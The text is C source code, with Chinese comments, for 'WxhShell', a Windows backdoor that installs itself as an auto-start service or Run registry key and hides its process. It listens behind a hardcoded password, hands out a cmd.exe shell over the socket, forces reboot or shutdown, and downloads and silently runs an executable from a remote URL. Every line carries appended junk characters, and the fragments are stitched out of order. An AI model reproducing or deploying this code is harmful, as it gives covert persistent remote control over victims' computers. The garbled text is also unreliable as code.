    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X1o^MMpz(F  
    if(Boot(SHUTDOWN)) @rDBK] V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *|<~IQg  
    else { &;)B qqXc  
    closesocket(wsh); K~I?i/P=z  
    ExitThread(0); zy nX9t  
    } `j9\]50Z>  
    break; Xt$P!~Lu  
    } rpDBKo  
  // 获取shell E2YVl%.  
  case 's': { Y6Cm PxOQ  
    CmdShell(wsh); oP%5ymL%J  
    closesocket(wsh); 0"T/a1S7bl  
    ExitThread(0); ,+4T7 UR  
    break; o3GkTn O  
  } G5K?Q+n   
  // 退出 "bF52lLu  
  case 'x': { QKB+mjMH#x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K/ &`  
    CloseIt(wsh); 9==4T$nM[  
    break; LjTSu9I>  
    } 1K<}  
  // 离开 HKI\i)c  
  case 'q': { jZPGUoRLg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5pe)CjE:  
    closesocket(wsh); WZPj?ou`G  
    WSACleanup(); cs.t#C  
    exit(1); xW*Lceb  
    break; qsbV)c  
        } PREGQ0  
  } dE_"|,:  
  } )h&@}#A09  
(d D7"zQ  
  // 提示信息 .%e>>U>F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~<9e }J  
} J -Lynvqm  
  } 6$=>ckP  
OuEcoIK  
  return; ]@<VLP?  
} KYJP`va6k  
<FBBR2  
// shell模块句柄 SZ9DT  
int CmdShell(SOCKET sock) 3Il._]#  
{ 8Q$WwiS  
STARTUPINFO si; f!R7v|j P  
ZeroMemory(&si,sizeof(si)); Xq03o#-p+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nKS*y*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "aCB}  
PROCESS_INFORMATION ProcessInfo; #k|f>D4  
char cmdline[]="cmd"; @6tczU}ak  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;-@: }/  
  return 0; fpf,gb8[$n  
} 5QuRwu_  
+y8Y@e}>  
// 自身启动模式 WysWg7,r  
int StartFromService(void) &Tuj`DL  
{ zhd1)lgY  
typedef struct 3*2~#dh=  
{ '@ Y@Fs  
  DWORD ExitStatus; 9T5 F0?qd  
  DWORD PebBaseAddress; ~ZSX84~@u  
  DWORD AffinityMask; LQ4:SV'3  
  DWORD BasePriority; fW+ "Kuw  
  ULONG UniqueProcessId; OG?7( UJ  
  ULONG InheritedFromUniqueProcessId; +h+ 7Q'k  
}   PROCESS_BASIC_INFORMATION; tP*Kt'4W  
8>#ZU]cG  
PROCNTQSIP NtQueryInformationProcess; Xb>SA|6[|  
H1B%}G*Ir-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8tQL$CbO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <nD@4J-A0  
[~ 2m*Q  
  HANDLE             hProcess; :??W3ROn  
  PROCESS_BASIC_INFORMATION pbi; {}k3nJfE  
k?&GL!?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EFh^C.S8  
  if(NULL == hInst ) return 0; XX%K_p`&Z  
OObAn^bt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lGWz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %sOY:>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (?R!y -  
QY&c=bWAX"  
  if (!NtQueryInformationProcess) return 0; -sKtT 9o  
oo &|(+"O_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p<L{e~{!7f  
  if(!hProcess) return 0; MQx1|>rG  
gMF6f%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TmLCmy!  
(1^;l;7H  
  CloseHandle(hProcess); 6Yodx$  
ud5}jyJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3lZl  
if(hProcess==NULL) return 0; vVvF e~y]  
5G\OINxy  
HMODULE hMod; MJ?t{=  
char procName[255]; ='b)6R  
unsigned long cbNeeded; z{ V;bi;  
1_q!E~)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n:/!{.  
NWFh<  
  CloseHandle(hProcess); =KOi#;1  
v/rBjUc+X  
if(strstr(procName,"services")) return 1; // 以服务启动 dt "/4wCO  
\L~^c1s3r  
  return 0; // 注册表启动 v9* +@  
} $ MH;v_'a  
r[}nrH&8  
// 主模块 /kK*%TP  
int StartWxhshell(LPSTR lpCmdLine) /tj]^QspS  
{ ]goJ- &  
  SOCKET wsl; W@r<4?Oat  
BOOL val=TRUE; dX)a D $m  
  int port=0; |rk.t g9  
  struct sockaddr_in door; p@f #fs  
}RadbJ{q=  
  if(wscfg.ws_autoins) Install(); RVwS<g)~1  
EMO {u  
port=atoi(lpCmdLine); N6-7RoA+  
sU&v B:]~  
if(port<=0) port=wscfg.ws_port; ?<3 d Fb  
9AhA"+?  
  WSADATA data; m=@xZw<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "Ux(nt  
r1-MO`6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6}I X{nQI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EniV-Uj\D  
  door.sin_family = AF_INET; H i8V=+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <#?dPDMG.*  
  door.sin_port = htons(port); r/AOgS  
^0|:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d"db`8 ;S  
closesocket(wsl); b5=|1SjR  
return 1; j#2Xw25  
} TaYl[I  
uCB9;+ Hjw  
  if(listen(wsl,2) == INVALID_SOCKET) { zNt//,={  
closesocket(wsl); qCcLd7`$  
return 1; [HWVS  
} qsoq1u,?  
  Wxhshell(wsl); uXFI7vV6P  
  WSACleanup(); /mz.HCs  
Ro9:kEG$  
return 0; 6Y ]P7j  
,.ivdg( /  
} &nr{-][  
^P~,bO&H.Z  
// 以NT服务方式启动 _|12BVq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8e>B>'nH  
{ rrRv 7J&Q  
DWORD   status = 0; 5?`4qSUz  
  DWORD   specificError = 0xfffffff; V? tH/P  
LJ@(jO{z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,hI$nF0}p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vFdI?(c-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V':A!  
  serviceStatus.dwWin32ExitCode     = 0; 3GE;:;8B  
  serviceStatus.dwServiceSpecificExitCode = 0; eEVB   
  serviceStatus.dwCheckPoint       = 0; '9WTz(0?  
  serviceStatus.dwWaitHint       = 0; Yl&[_ l  
p1d%&e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SJP3mq/^K  
  if (hServiceStatusHandle==0) return; }hg=#*  
myX&Z F_9  
status = GetLastError(); }WFI /W'  
  if (status!=NO_ERROR) #6|ve?`I  
{ aQL0Sj:,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :$K=LV#Iru  
    serviceStatus.dwCheckPoint       = 0; lq_UCCnv5  
    serviceStatus.dwWaitHint       = 0; Pd&KAu|<`  
    serviceStatus.dwWin32ExitCode     = status; )-5eIy  
    serviceStatus.dwServiceSpecificExitCode = specificError; )-[$m%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9yTdbpY  
    return; JW0\y+o~  
  } q7KHx b  
c]x-mj =  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "1Hn?4nz5  
  serviceStatus.dwCheckPoint       = 0; kJuG haO  
  serviceStatus.dwWaitHint       = 0; dpq(=s`s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :n13v @q  
} [LjiLKW  
$Xt""mlQ  
// 处理NT服务事件,比如:启动、停止 6T4DuF   
VOID WINAPI NTServiceHandler(DWORD fdwControl) JjI1^FRd  
{ "Y:>^F;  
switch(fdwControl) &Wa3/mWK  
{ ; k.@=  
case SERVICE_CONTROL_STOP: ui)mYR[8X  
  serviceStatus.dwWin32ExitCode = 0; l#v52  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z{ eZsh b  
  serviceStatus.dwCheckPoint   = 0; jSvq1$U  
  serviceStatus.dwWaitHint     = 0; f:\)! &W  
  { $*X?]?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DjK7_'7(L  
  } :l]qTCmY  
  return; &1T)'Bn  
case SERVICE_CONTROL_PAUSE: ?Ybq]J\q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RYvcuA)  
  break; %,vq@..^  
case SERVICE_CONTROL_CONTINUE: zdPJ>PNU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9O&gR46.  
  break; Sd ^I >;  
case SERVICE_CONTROL_INTERROGATE: ylczM^@  
  break; Q]=/e7  
}; \='LR!_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JL#LCU ?  
} 6 M:?W"  
1SS1P0Ur  
// 标准应用程序主函数 H%l-@::+$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d:>^]5cE&  
{ U 5j4iz'  
FY Flh^}  
// 获取操作系统版本 >%`SXB& 9  
OsIsNt=GetOsVer(); N}nE9z5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O&/n BHu\  
>ryA:TO{  
  // 从命令行安装 "#pxZ B=  
  if(strpbrk(lpCmdLine,"iI")) Install(); |$IL:W6  
f@!9~s  
  // 下载执行文件 |(W04Wp"@  
if(wscfg.ws_downexe) { egA* x*8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l*hWws[  
  WinExec(wscfg.ws_filenam,SW_HIDE); -!7Z  
} HTiLA%%6  
{9|*au(K  
if(!OsIsNt) { ;|XX^  
// 如果时win9x,隐藏进程并且设置为注册表启动 MXl_{8  
HideProc(); fCNQUK{Gs5  
StartWxhshell(lpCmdLine); e}{#VB<  
} *^; MWI  
else M {'(+a[  
  if(StartFromService()) ?;UR9f|!  
  // 以服务方式启动 M1/(Xla3  
  StartServiceCtrlDispatcher(DispatchTable); & .1-6  
else S)ipkuj X  
  // 普通方式启动 CzreX3i  
  StartWxhshell(lpCmdLine); "@VYJ7.1  
cX1?4e8  
return 0; .'66]QW  
} I__b$  
TT(R<hL  
7P2(q  
p9G+la~;VM  
=========================================== 3 []ltN_  
Yg5o!A  
o` QH8  
 I*f@^(  
>3b< Fq$  
z"|jCdZGM  
" ~kV>nx2  
/0k'w%V{n  
#include <stdio.h> M9fQ,<c<6  
#include <string.h> !.#g   
#include <windows.h> ]vR Ol.  
#include <winsock2.h> ex~"M&^  
#include <winsvc.h> }U>K>"AZl  
#include <urlmon.h> }@ U}c6/  
/YPG_,lRA  
#pragma comment (lib, "Ws2_32.lib") D0bpD  
#pragma comment (lib, "urlmon.lib") ]Q.S Is  
Sru0j/|H\  
#define MAX_USER   100 // 最大客户端连接数 *^{j!U37s  
#define BUF_SOCK   200 // sock buffer d, i4WKp   
#define KEY_BUFF   255 // 输入 buffer fO5L[U^`  
(  -q0!]E  
#define REBOOT     0   // 重启 $tW E9_  
#define SHUTDOWN   1   // 关机 %}N01P|X>  
\rh+\9(  
#define DEF_PORT   5000 // 监听端口 tkptm%I _  
'6\w4J(  
#define REG_LEN     16   // 注册表键长度 hJ%$Te  
#define SVC_LEN     80   // NT服务名长度 "* FjEA6=  
,H?e23G  
// 从dll定义API .1^ Kk3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R(_WTs9x4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +Q5'!@8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $Sy}im\H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lUq `t K8  
Y cL((6A  
// wxhshell配置信息 Z;+;_Cw  
struct WSCFG { LdiNXyyzet  
  int ws_port;         // 监听端口 O+'k4  
  char ws_passstr[REG_LEN]; // 口令 n87Uf$  
  int ws_autoins;       // 安装标记, 1=yes 0=no s+ *LVfau  
  char ws_regname[REG_LEN]; // 注册表键名 mV"F<G; H  
  char ws_svcname[REG_LEN]; // 服务名 v#g:]T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2\64~a^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RFe># o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y@UW\d*'%I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &09~ D8f'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O:,Gmft+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?G9DSk?6%Z  
*b{Hj'HaH  
}; /'VuMMJ2  
1bw$$QXC_  
// default Wxhshell configuration =kq<J-:#R  
struct WSCFG wscfg={DEF_PORT, beYGP  
    "xuhuanlingzhe", wS$ 'gKA6  
    1, d8 v9[ 4  
    "Wxhshell", V$$9Rh  
    "Wxhshell", 79 _8Oh  
            "WxhShell Service", AYoTCi%7E  
    "Wrsky Windows CmdShell Service", "\~>[on  
    "Please Input Your Password: ", M`=\ijUwN  
  1, Fm&f  
  "http://www.wrsky.com/wxhshell.exe", `T%nGVl>\  
  "Wxhshell.exe" =*-a c  
    }; GM^H )8U  
!3c+}j-j  
// 消息定义模块 v?nGAn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %,S:^Rvv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (IHR {m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F!I9)PSj  
char *msg_ws_ext="\n\rExit."; :*l\j"fX5  
char *msg_ws_end="\n\rQuit."; N7 _rVcDe  
char *msg_ws_boot="\n\rReboot..."; &C9)%5 O)  
char *msg_ws_poff="\n\rShutdown..."; . Z9c.E{  
char *msg_ws_down="\n\rSave to "; $i3`cX)g  
 bFA lC  
char *msg_ws_err="\n\rErr!"; (Cti,g~  
char *msg_ws_ok="\n\rOK!"; ]-heG'y]{  
9zBt a  
char ExeFile[MAX_PATH]; g[ @Q iy  
int nUser = 0; D 7thLqA  
HANDLE handles[MAX_USER]; ei]Q<vT6  
int OsIsNt; VJr~h "[  
wB[ JFy"E  
SERVICE_STATUS       serviceStatus; mH<|.7~0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4/SltWU  
E.*wNah"U  
// 函数声明 V^ ;l g[:  
int Install(void); 'wBOnGi6  
int Uninstall(void); =b6G' O[  
int DownloadFile(char *sURL, SOCKET wsh); uE,T Ea9;  
int Boot(int flag); ^MhMYA  
void HideProc(void); B/~ubw  
int GetOsVer(void); Gh3f^PWnc  
int Wxhshell(SOCKET wsl); $b_~  
void TalkWithClient(void *cs); U+ D#  
int CmdShell(SOCKET sock); V+|$H h8  
int StartFromService(void); /bC@^Y&}  
int StartWxhshell(LPSTR lpCmdLine); CX {M@x3m  
ZWB3R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8_rd1:t5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jW| ,5,43  
p[!9objU  
// 数据结构和表定义 Z0V6cikW6  
SERVICE_TABLE_ENTRY DispatchTable[] = 8y?q)y9h  
{ sG|,#XQ  
{wscfg.ws_svcname, NTServiceMain}, Ym-mfWo^#  
{NULL, NULL} 3Dh{#"88  
}; 1iM(13jW  
d-8g  
// 自我安装  $iH  
int Install(void) 5VN~?#K  
{ NfCo)C-t  
  char svExeFile[MAX_PATH]; O]25 {L  
  HKEY key; I|/|\  
  strcpy(svExeFile,ExeFile); yaI jXv  
--`W1!jI@  
// 如果是win9x系统,修改注册表设为自启动 Sn;q:e3i{A  
if(!OsIsNt) { $nf %<Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BMU#pK;P]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KWw?W1H  
  RegCloseKey(key); z5f3T D6,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ; ?,'jI*1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rO,n~|YJ  
  RegCloseKey(key); ]7|qhAh<L  
  return 0; X5Y. o&  
    } b%j4W)Z  
  } uy=<n5`oNG  
} 6k1_dRu  
else { $yFR{_]  
> 3l3  
// 如果是NT以上系统,安装为系统服务 w/fiNY5FZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LA,G>#?H  
if (schSCManager!=0) U}-hV@y  
{ eoiC.$~\  
  SC_HANDLE schService = CreateService /cD]m  
  ( w*4sT+ P  
  schSCManager, Y$ ZDJNz  
  wscfg.ws_svcname, 3KKq1][  
  wscfg.ws_svcdisp, &e4EZ  
  SERVICE_ALL_ACCESS, AeW_W0j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xu{S4#1  
  SERVICE_AUTO_START, MG,?,1_ &  
  SERVICE_ERROR_NORMAL, 61z^(F$@  
  svExeFile, z8PV&o  
  NULL, W%#LHluP  
  NULL, M;0\fUh;  
  NULL, ':T"nORC  
  NULL, C9`x"$  
  NULL s:sk`~2<gd  
  ); ).r04)/  
  if (schService!=0) g$Ns u:L  
  { myZ8LQ&  
  CloseServiceHandle(schService); z-kB!~r  
  CloseServiceHandle(schSCManager); !wjD6 NK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8qq'q"g  
  strcat(svExeFile,wscfg.ws_svcname); GYri\<[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O~F8lQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %e=UYBj"  
  RegCloseKey(key); l]P3oB}Yo  
  return 0; ?uE@C3 e  
    } 1ZfhDtK(  
  } -s6;IoG/  
  CloseServiceHandle(schSCManager); Snas:#B!  
} @0%^\Qf2  
} TUR2|J@n  
2{-'`l fM%  
return 1; y]%Io]!d  
} )G$0:-J-  
M7AUY#)  
// 自我卸载 ::k/hP9.^  
int Uninstall(void) sHMZ'9b  
{ myWa>Mvb  
  HKEY key; (w, Gv-S  
h4? 'd+K  
if(!OsIsNt) { 6\/(TW&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iD!]I$  
  RegDeleteValue(key,wscfg.ws_regname); 2-u9%  
  RegCloseKey(key);  f(*^zga,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )}R w@70L-  
  RegDeleteValue(key,wscfg.ws_regname); E`UEl$($  
  RegCloseKey(key); C C`Y r  
  return 0; +C9 l7 q  
  } 8>V)SAI'  
} ^$F1U,oi  
} o[K,(  
else { |1"n\4$  
h-RL`X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +# tmsv]2  
if (schSCManager!=0) | D,->k  
{ 7-MkfWH2b6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AU^5N3%j  
  if (schService!=0) !qVnziE,,  
  { 8 gzf$Oc  
  if(DeleteService(schService)!=0) { p EbyQ[  
  CloseServiceHandle(schService); S9S%7pE  
  CloseServiceHandle(schSCManager); xy1R_*.F^T  
  return 0; y[sO0u\  
  } 8Ir = @  
  CloseServiceHandle(schService); [cf!%3>53  
  } =G%L:m*  
  CloseServiceHandle(schSCManager); Q"sszz  
} x1R<oB |  
} qFYM2  
XfH[: XG3  
return 1; jr=erVHK  
} ~5b^Gvb?  
Eh&HN-&  
// 从指定url下载文件 H)l7:a  
int DownloadFile(char *sURL, SOCKET wsh) I Z{DR  
{ l^E)XWd  
  HRESULT hr; GbN|!,X1m  
char seps[]= "/"; YB'BAX<lI  
char *token; xnD"LK  
char *file; 2uM\?*T@  
char myURL[MAX_PATH]; 0Wc8\c  
char myFILE[MAX_PATH]; !qF t:{-h  
]<IK0  
strcpy(myURL,sURL); $:SSm $k  
  token=strtok(myURL,seps); %/Y;  
  while(token!=NULL) w [7vxQ!-  
  { {pyTiz#JY  
    file=token; &x<y4ORH|  
  token=strtok(NULL,seps); &F#K=R| .j  
  } x C+TO  
i-*ZW:  
GetCurrentDirectory(MAX_PATH,myFILE); %?z8*G]M  
strcat(myFILE, "\\"); Ea\Khf]2  
strcat(myFILE, file); p;<brwN  
  send(wsh,myFILE,strlen(myFILE),0); YPNG9^Y  
send(wsh,"...",3,0); Tg ~SGAc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |#?:KvU97E  
  if(hr==S_OK) #J09Eka;J  
return 0; ZQY?wO: [  
else bL]NSD  
return 1; |Y&&g=7  
j0+l-]F-  
} E|v9khN(].  
Kk9W=vd  
// 系统电源模块 p?XVO#  
int Boot(int flag) (N :vDq'  
{ c}r"O8M  
  HANDLE hToken; ;o-c.-!F  
  TOKEN_PRIVILEGES tkp; o-_H+p6a  
A$Ok^  
  if(OsIsNt) { 9B<aYp)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KoKd.%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G=l-S\0@  
    tkp.PrivilegeCount = 1; YecV+ K'p:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;dVYR=l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EwKFT FL  
if(flag==REBOOT) { {kNV|E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N(=Z4Nk5  
  return 0; ap|$8 G  
} T_/ n#e  
else { ^(on"3sG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !b4v}70,  
  return 0; ~duF2m 72  
} !rZ r:@  
  } 5l[&-: (Lh  
  else { ,Vr-E  
if(flag==REBOOT) { zqt{oN_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "1HKD  
  return 0; qe<aJn  
} ^M6R l0  
else { I)wc&>Lc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yeqH eZ  
  return 0; *BFG{P  
} PEDV9u[A  
} >PmnR>x-rj  
S";c7s  
return 1; &f($= 68  
} 9mRP%c#(  
KI Xp+Z  
// win9x进程隐藏模块 s_}q  
void HideProc(void) >7,?X_:A-1  
{ 5-?*Boi>i  
My<.^~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @ q:S]YB   
  if ( hKernel != NULL ) &5d~ODO  
  { ;(r,;S_`0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5u=>~yK+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u%sfHGrH  
    FreeLibrary(hKernel); h h7unHt-  
  } (bp4ly^  
|e{ ^Yf4  
return; 7 tQ?av  
} 8@A}.:  
wU(!fw\  
// 获取操作系统版本 b>]k=zd  
int GetOsVer(void) ^ DCBL&I  
{ x|`BF%e/v  
  OSVERSIONINFO winfo; 9oQ$w?=#$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PT39VI =  
  GetVersionEx(&winfo); )0?u_Z]w9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -]<<}@NF  
  return 1; Q4ZKgcC  
  else @id!F<+%oD  
  return 0; H;{IOBo  
} IN7Cpg~9%  
P"f4`q  
// 客户端句柄模块 G3dA`3  
int Wxhshell(SOCKET wsl) 4t,f$zk  
{ _qa9wK/  
  SOCKET wsh; Z;~7L*|  
  struct sockaddr_in client; S\L^ZH?[2  
  DWORD myID; H/}W_ h^^  
bJoP@s  
  while(nUser<MAX_USER) QWwdtk  
{ )|wC 1J!L  
  int nSize=sizeof(client); =A{s,UP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pl\NzB,`  
  if(wsh==INVALID_SOCKET) return 1; Ruv`yfQ  
)~-r&Q5d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O-&^;]ieJ  
if(handles[nUser]==0) =z!/:M  
  closesocket(wsh); unc8WXW  
else L<k(stx~  
  nUser++; 46U*70  
  } RQYD#4|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BU.O[?@64  
:!yPR  
  return 0; ~s*kuj'%+  
} &} r-C97  
qs {wrem  
// 关闭 socket %>!W+rO,  
void CloseIt(SOCKET wsh) J p)I9k,Ez  
{ *i>hFNLdOM  
closesocket(wsh); NA=m<n#  
nUser--; 4*'ZabDD  
ExitThread(0); ~9Qd83`UH  
} M>d^.n  
6TDa#k5v  
// 客户端请求句柄 _B0C]u3D  
void TalkWithClient(void *cs) aC94g7)`  
{ GT,1t=|&V  
Y<h6m]H  
  SOCKET wsh=(SOCKET)cs; L~Y^O`c  
  char pwd[SVC_LEN]; jo' V.]\  
  char cmd[KEY_BUFF];  o .*t  
char chr[1]; t:"%d9]  
int i,j; P'^& SK  
q $PO. #  
  while (nUser < MAX_USER) { {F;"m&3Lt  
{r%T_BfY  
if(wscfg.ws_passstr) { n0Qp:_2z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &v#pS!UOj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f2u4*X E\  
  //ZeroMemory(pwd,KEY_BUFF); g@Pq<   
      i=0; Y`."=8R~  
  while(i<SVC_LEN) { P9W?sPnC5  
&"( zK"O  
  // 设置超时 T: SqENV  
  fd_set FdRead; ?&!e f {  
  struct timeval TimeOut; ,Xxp]*K2  
  FD_ZERO(&FdRead); a4n5i.;  
  FD_SET(wsh,&FdRead); p'A43  
  TimeOut.tv_sec=8; wLzV#8>  
  TimeOut.tv_usec=0; VTwQD"oB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !j%u wje\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U/-k'6=M  
=b, m3 1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0g9y4z{H  
  pwd=chr[0]; =]S,p7*7  
  if(chr[0]==0xd || chr[0]==0xa) { B(f_~]  
  pwd=0; +j %y#_~  
  break; A76H M@Q  
  } %aV~RB#  
  i++; ^1yD&i'q  
    } ;iW>i8  
M%WO  
  // 如果是非法用户,关闭 socket j2%fAs<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U>sEFzBup  
} eD8e0 D'S  
gVrfZ&XF84  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !hjF"Pa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tSe[*V4{'  
XRHngW_A  
while(1) { uPxJwWXO  
 !# zO%  
  ZeroMemory(cmd,KEY_BUFF); AiB]A}  
a?xZsR  
      // 自动支持客户端 telnet标准   Km,%p@`m  
  j=0; ra2{8 x  
  while(j<KEY_BUFF) { J=&}$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ym+Ezb#o  
  cmd[j]=chr[0]; 4;Vi@(G)  
  if(chr[0]==0xa || chr[0]==0xd) { 10)RLh|+  
  cmd[j]=0; FmFjRYA W  
  break; "l hj1zZ  
  } &;~?\>?I  
  j++; 3.1%L"r[)  
    } 2j#Dwa(lZQ  
yZN~A:  
  // 下载文件 ahQY-%>  
  if(strstr(cmd,"http://")) { $E.Fgy:G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +prUau*  
  if(DownloadFile(cmd,wsh)) 1wm`a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )+DDIq  
  else "0,FB4L[U5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9aNOfs8(  
  } !Z 0U_*&  
  else { ,i Y:#E  
#oR`_Dm)P  
    switch(cmd[0]) { v~yw-}fk%  
  *X{7m]5  
